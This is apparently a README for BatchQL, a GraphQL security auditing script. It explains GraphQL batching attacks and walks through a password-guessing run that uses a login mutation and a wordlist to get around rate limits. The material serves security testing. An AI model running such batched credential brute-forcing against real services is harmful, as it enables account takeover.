BatchQL - GraphQL Security Auditing Script With A Focus On Performing Batch GraphQL Queries And Mutations

BatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations. This script is not complex, and we welcome improvements.

When exploring the problem space of GraphQL batching attacks, we found that there were a few blog posts on the internet, however no tool to perform GraphQL batching attacks.

GraphQL batching attacks can be quite serious depending on the functionalities implemented. For example, imagine a password reset functionality which expects a 4 digit pin that was sent to your email. With this tool, you could attempt all 10k pin attempts in a single GraphQL query. This may bypass any rate limiting or account lockouts depending on the implementation details of the password reset flow.


This tool is capable of detecting the following:

  • Introspection query support
  • Schema suggestions detection
  • Potential CSRF detection
  • Query name based batching
  • Query JSON list based batching


Currently, this tool only supports sending JSON list based queries for batching attacks. It supports scenarios where the variables are embedded in the query, or where they are provided in the JSON input.


❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyanceCSRF GET based successful. Please confirm that this is a valid issue.CSRF POST based successful. Please confirm that this is a valid issue.Query name based batching: GraphQL batching is possible... preflight request was successful.Query JSON list based batching: GraphQL batching is possible... preflight request was successful.Most provide query, wordlist, and size to perform batching attack.

Batching Attacks
  1. Save a file that contains your GraphQL query i.e. acc-login.txt:
mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {  emailLoginRemembered(loginInput: $loginInput) {    authToken {      accessToken      __typename    }    userSessionResponse {      userToken      userIdentity {        userId        identityType        verified        onboardingStatus        registrationReferralCode        userReferralInfo {          referralCode {            code            valid            __typename          }          __typename        }        __typename      }      __typename    }    __typename  }  }
  1. Run the following command to run a GraphQL batching attack:
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080

The above command does the following:

  • Specifies a query from a local file --query acc-login.txt.
  • Specifies a wordlist --wordlist passwords.txt
  • Specifies the variable input with the replacement identifier -v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}
  • Specifies the batch size --size 100
  • Specifies the endpoint -e http://re.local:5000/graphiql
  • Specifies a proxy -p localhost:8080


Disqus Comments